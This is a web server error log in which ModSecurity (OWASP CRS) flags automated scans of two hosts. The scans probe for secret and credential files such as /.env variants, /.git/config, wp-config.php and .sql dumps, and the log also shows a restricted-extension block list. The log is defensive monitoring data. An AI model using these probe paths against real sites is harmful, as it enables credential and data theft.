[Fri Jul 17 08:28:03.737944 2026] [security2:error] [pid 2014322:tid 2014322] [client 13.222.98.178:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdc.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaOyBZZ4YwiWQXUfleAwAAACI"]
[Fri Jul 17 08:28:03.738266 2026] [security2:error] [pid 2014322:tid 2014322] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaOyBZZ4YwiWQXUfleAwAAACI"]
[Fri Jul 17 08:28:03.738701 2026] [security2:error] [pid 2014322:tid 2014322] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaOyBZZ4YwiWQXUfleAwAAACI"]
[Fri Jul 17 08:28:03.829109 2026] [security2:error] [pid 2014308:tid 2014308] [client 13.222.98.178:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdc.lk"] [uri "/data.sql"] [unique_id "almaOwdFk8dCrY-oJNkc_wAAACA"]
[Fri Jul 17 08:28:03.829475 2026] [security2:error] [pid 2014308:tid 2014308] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/data.sql"] [unique_id "almaOwdFk8dCrY-oJNkc_wAAACA"]
[Fri Jul 17 08:28:03.829797 2026] [security2:error] [pid 2014308:tid 2014308] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaOwdFk8dCrY-oJNkc_wAAACA"]
[Fri Jul 17 08:28:04.040889 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.229.141.17:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.inventory.jrdc.lk"] [uri "/database.sql"] [unique_id "almaPON_HRgVfO4akvmJswAAABg"]
[Fri Jul 17 08:28:04.041280 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/database.sql"] [unique_id "almaPON_HRgVfO4akvmJswAAABg"]
[Fri Jul 17 08:28:04.047502 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.229.141.17:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.inventory.jrdc.lk"] [uri "/dump.sql"] [unique_id "almaPAPhWp7RzB65h36ezAAAAA0"]
[Fri Jul 17 08:28:04.047590 2026] [security2:error] [pid 1993715:tid 1993715] [client 34.229.141.17:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.dev"] [unique_id "almaPHRlmrtCoY_COpcijAAAAAg"]
[Fri Jul 17 08:28:04.047818 2026] [security2:error] [pid 1993715:tid 1993715] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.dev"] [unique_id "almaPHRlmrtCoY_COpcijAAAAAg"]
[Fri Jul 17 08:28:04.047829 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/dump.sql"] [unique_id "almaPAPhWp7RzB65h36ezAAAAA0"]
[Fri Jul 17 08:28:04.119834 2026] [security2:error] [pid 1993659:tid 1993659] [client 34.229.141.17:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.production"] [unique_id "almaPJOFLENLI63GGOEKRgAAAAQ"]
[Fri Jul 17 08:28:04.120193 2026] [security2:error] [pid 1993659:tid 1993659] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.production"] [unique_id "almaPJOFLENLI63GGOEKRgAAAAQ"]
[Fri Jul 17 08:28:04.218567 2026] [security2:error] [pid 1994446:tid 1994446] [client 34.229.141.17:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.inventory.jrdc.lk"] [uri "/.env"] [unique_id "almaPF2NhE8i6ppze4etzgAAAAs"]
[Fri Jul 17 08:28:04.218832 2026] [security2:error] [pid 1994446:tid 1994446] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/.env"] [unique_id "almaPF2NhE8i6ppze4etzgAAAAs"]
[Fri Jul 17 08:28:04.281444 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.229.141.17:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.inventory.jrdc.lk"] [uri "/.git/config"] [unique_id "almaPEz_ZDvgWqiMlMbLRQAAAB0"]
[Fri Jul 17 08:28:04.281694 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/.git/config"] [unique_id "almaPEz_ZDvgWqiMlMbLRQAAAB0"]
[Fri Jul 17 08:28:04.388854 2026] [security2:error] [pid 2014285:tid 2014285] [client 34.229.141.17:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.staging"] [unique_id "almaPDPV8F2Ufi3kXba6oQAAAB4"]
[Fri Jul 17 08:28:04.389132 2026] [security2:error] [pid 2014285:tid 2014285] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.staging"] [unique_id "almaPDPV8F2Ufi3kXba6oQAAAB4"]
[Fri Jul 17 08:28:04.486759 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.520158 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.229.141.17:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.inventory.jrdc.lk"] [uri "/db.sql"] [unique_id "almaPA7FYe46zHK_jL3MTQAAABk"]
[Fri Jul 17 08:28:04.520518 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/db.sql"] [unique_id "almaPA7FYe46zHK_jL3MTQAAABk"]
[Fri Jul 17 08:28:04.520657 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.520857 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPA7FYe46zHK_jL3MTQAAABk"]
[Fri Jul 17 08:28:04.548528 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.local"] [unique_id "almaPBAi3pC6yjXGNq19QgAAAAU"]
[Fri Jul 17 08:28:04.548817 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.local"] [unique_id "almaPBAi3pC6yjXGNq19QgAAAAU"]
[Fri Jul 17 08:28:04.548998 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.549155 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPBAi3pC6yjXGNq19QgAAAAU"]
[Fri Jul 17 08:28:04.557328 2026] [security2:error] [pid 1993584:tid 1993584] [client 34.229.141.17:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.inventory.jrdc.lk"] [uri "/data.sql"] [unique_id "almaPFxP5-SsqbGuGB2lDAAAAAA"]
[Fri Jul 17 08:28:04.557710 2026] [security2:error] [pid 1993584:tid 1993584] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/data.sql"] [unique_id "almaPFxP5-SsqbGuGB2lDAAAAAA"]
[Fri Jul 17 08:28:04.557832 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.557962 2026] [security2:error] [pid 1993584:tid 1993584] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPFxP5-SsqbGuGB2lDAAAAAA"]
[Fri Jul 17 08:28:04.565939 2026] [security2:error] [pid 1993570:tid 1993570] [client 34.229.141.17:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.inventory.jrdc.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaPHjA8yK8B7kryx3hogAAAAk"]
[Fri Jul 17 08:28:04.566294 2026] [security2:error] [pid 1993570:tid 1993570] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaPHjA8yK8B7kryx3hogAAAAk"]
[Fri Jul 17 08:28:04.566483 2026] [hostinglimits:warn] [pid 1993570:tid 1993570] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(1993570) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.566668 2026] [security2:error] [pid 1993570:tid 1993570] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPHjA8yK8B7kryx3hogAAAAk"]
[Fri Jul 17 08:28:04.579655 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.229.141.17:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.inventory.jrdc.lk"] [uri "/wp-config.php"] [unique_id "almaPA7FYe46zHK_jL3MTgAAABk"]
